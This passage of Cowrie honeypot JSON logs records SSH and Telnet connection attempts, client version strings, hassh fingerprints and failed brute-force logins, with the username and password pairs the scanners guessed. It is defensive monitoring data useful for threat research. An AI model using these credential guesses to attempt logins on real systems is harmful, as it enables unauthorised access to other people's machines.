sh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:14.235142Z","src_ip":"147.45.199.80","session":"174a7a145549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oksana12","message":"login attempt [root/oksana12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:14.505112Z","src_ip":"147.45.199.80","session":"174a7a145549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:15.598073Z","src_ip":"147.45.199.80","session":"174a7a145549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34102,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e29fb3ed224","protocol":"telnet","message":"New connection: 135.148.14.151:34102 (159.203.135.109:23) [session: 7e29fb3ed224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:16.307223Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.174.206","src_port":34330,"dst_ip":"10.17.0.5","dst_port":22,"session":"82bf2d79838b","protocol":"ssh","message":"New connection: 165.154.174.206:34330 (10.17.0.5:22) [session: 82bf2d79838b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:17.045083Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\\xbc\\xbfX2 \\xb5\\xd1bzq~\\xac\\xf0H.eM\\xe8F\\x9a\u0004\\xaaf\\xca\\xd1\\xe2\\xcdG\\xe3\u001dV\u0006 \u00ed5\\xb9\\x8f[\u0019\\xbb\\xd6~\\xac\\xf4\u03e2\\xcb\\xe95\f\\x8d\\xc6\u069c\\xa9 \\xe5;n\\x8c\\x98n\\xd9\u0006\u00004\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\t\u0000\\x9e\u0328\u032a\u00003\u0000=\u0000\u0016\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\\xbc\\xbfX2 \\xb5\\xd1bzq~\\xac\\xf0H.eM\\xe8F\\x9a\u0004\\xaaf\\xca\\xd1\\xe2\\xcdG\\xe3\u001dV\u0006 \u00ed5\\xb9\\x8f[\u0019\\xbb\\xd6~\\xac\\xf4\u03e2\\xcb\\xe95\f\\x8d\\xc6\u069c\\xa9 \\xe5;n\\x8c\\x98n\\xd9\u0006\u00004\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\t\u0000\\x9e\u0328\u032a\u00003\u0000=\u0000\u0016\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:17.050488Z","src_ip":"165.154.174.206","session":"82bf2d79838b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:17.054529Z","src_ip":"165.154.174.206","session":"82bf2d79838b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.174.206","src_port":34344,"dst_ip":"10.17.0.5","dst_port":22,"session":"7df4b3e7e040","protocol":"ssh","message":"New connection: 165.154.174.206:34344 (10.17.0.5:22) [session: 7df4b3e7e040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:17.204468Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"79881fcbdc8a","protocol":"ssh","message":"New connection: 2.57.121.112:50648 (159.203.135.109:22) [session: 79881fcbdc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:22.094426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:22.101135Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:22.206057Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030977","message":"login attempt [admin/030977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:22.699309Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030885","message":"login attempt [admin/030885] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:23.806965Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030879","message":"login attempt [admin/030879] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:24.914477Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03081997","message":"login attempt [admin/03081997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:26.022832Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030788","message":"login attempt [admin/030788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:27.132069Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:28.239992Z","src_ip":"2.57.121.112","session":"79881fcbdc8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41426,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc33c339325","protocol":"telnet","message":"New connection: 135.148.14.151:41426 (159.203.135.109:23) [session: fcc33c339325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:29.254326Z"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.288043Z","src_ip":"165.154.174.206","session":"7df4b3e7e040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.174.206","src_port":57980,"dst_ip":"10.17.0.5","dst_port":22,"session":"46fd1aa76211","protocol":"ssh","message":"New connection: 165.154.174.206:57980 (10.17.0.5:22) [session: 46fd1aa76211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.363822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.369441Z","src_ip":"165.154.174.206","session":"46fd1aa76211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b893695067f94c8d2ed92025b192c636","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b893695067f94c8d2ed92025b192c636","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.448367Z","src_ip":"165.154.174.206","session":"46fd1aa76211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.611495Z","src_ip":"165.154.174.206","session":"46fd1aa76211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.174.206","src_port":57988,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6be6388157d","protocol":"ssh","message":"New connection: 165.154.174.206:57988 (10.17.0.5:22) [session: d6be6388157d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.690137Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Server","message":"Remote SSH version: SSH-1.5-Server","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.694942Z","src_ip":"165.154.174.206","session":"d6be6388157d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:35.698400Z","src_ip":"165.154.174.206","session":"d6be6388157d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":49640,"dst_ip":"159.203.135.109","dst_port":22,"session":"8320ef87ed7c","protocol":"ssh","message":"New connection: 161.97.102.228:49640 (159.203.135.109:22) [session: 8320ef87ed7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:47.239652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:47.244052Z","src_ip":"161.97.102.228","session":"8320ef87ed7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:47.336380Z","src_ip":"161.97.102.228","session":"8320ef87ed7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789.","message":"login attempt [root/123456789.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:47.741172Z","src_ip":"161.97.102.228","session":"8320ef87ed7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.597392082214355,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:48.138561Z","src_ip":"135.148.14.151","session":"524096b41185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:48.837435Z","src_ip":"161.97.102.228","session":"8320ef87ed7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47812,"dst_ip":"159.203.135.109","dst_port":23,"session":"a38e35482fa1","protocol":"telnet","message":"New connection: 135.148.14.151:47812 (159.203.135.109:23) [session: a38e35482fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:50.936484Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52088,"dst_ip":"159.203.135.109","dst_port":23,"session":"acffadf21e9a","protocol":"telnet","message":"New connection: 135.148.14.151:52088 (159.203.135.109:23) [session: acffadf21e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:57.052743Z"}
{"eventid":"cowrie.session.closed","duration":37.142303705215454,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:06.396503Z","src_ip":"135.148.14.151","session":"fcc33c339325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.69589805603027,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:15.002992Z","src_ip":"135.148.14.151","session":"7e29fb3ed224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":35434,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4c9b3976173","protocol":"ssh","message":"New connection: 128.78.143.196:35434 (10.17.0.5:22) [session: e4c9b3976173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:24.153760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:24.159692Z","src_ip":"128.78.143.196","session":"e4c9b3976173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:24.256497Z","src_ip":"128.78.143.196","session":"e4c9b3976173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111","message":"login attempt [root/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:24.673456Z","src_ip":"128.78.143.196","session":"e4c9b3976173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:25.773122Z","src_ip":"128.78.143.196","session":"e4c9b3976173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.69518494606018,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:26.631716Z","src_ip":"135.148.14.151","session":"a38e35482fa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.240723609924316,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:32.293340Z","src_ip":"135.148.14.151","session":"acffadf21e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55602,"dst_ip":"159.203.135.109","dst_port":22,"session":"97b305141c19","protocol":"ssh","message":"New connection: 103.153.68.219:55602 (159.203.135.109:22) [session: 97b305141c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:47.201944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:47.206701Z","src_ip":"103.153.68.219","session":"97b305141c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:47.462508Z","src_ip":"103.153.68.219","session":"97b305141c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"justine","message":"login attempt [root/justine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:48.230477Z","src_ip":"103.153.68.219","session":"97b305141c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:39:49.488838Z","src_ip":"103.153.68.219","session":"97b305141c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40966,"dst_ip":"10.17.0.5","dst_port":22,"session":"830591da3ac0","protocol":"ssh","message":"New connection: 103.98.149.87:40966 (10.17.0.5:22) [session: 830591da3ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:40:40.584525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:40:41.019305Z","src_ip":"103.98.149.87","session":"830591da3ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@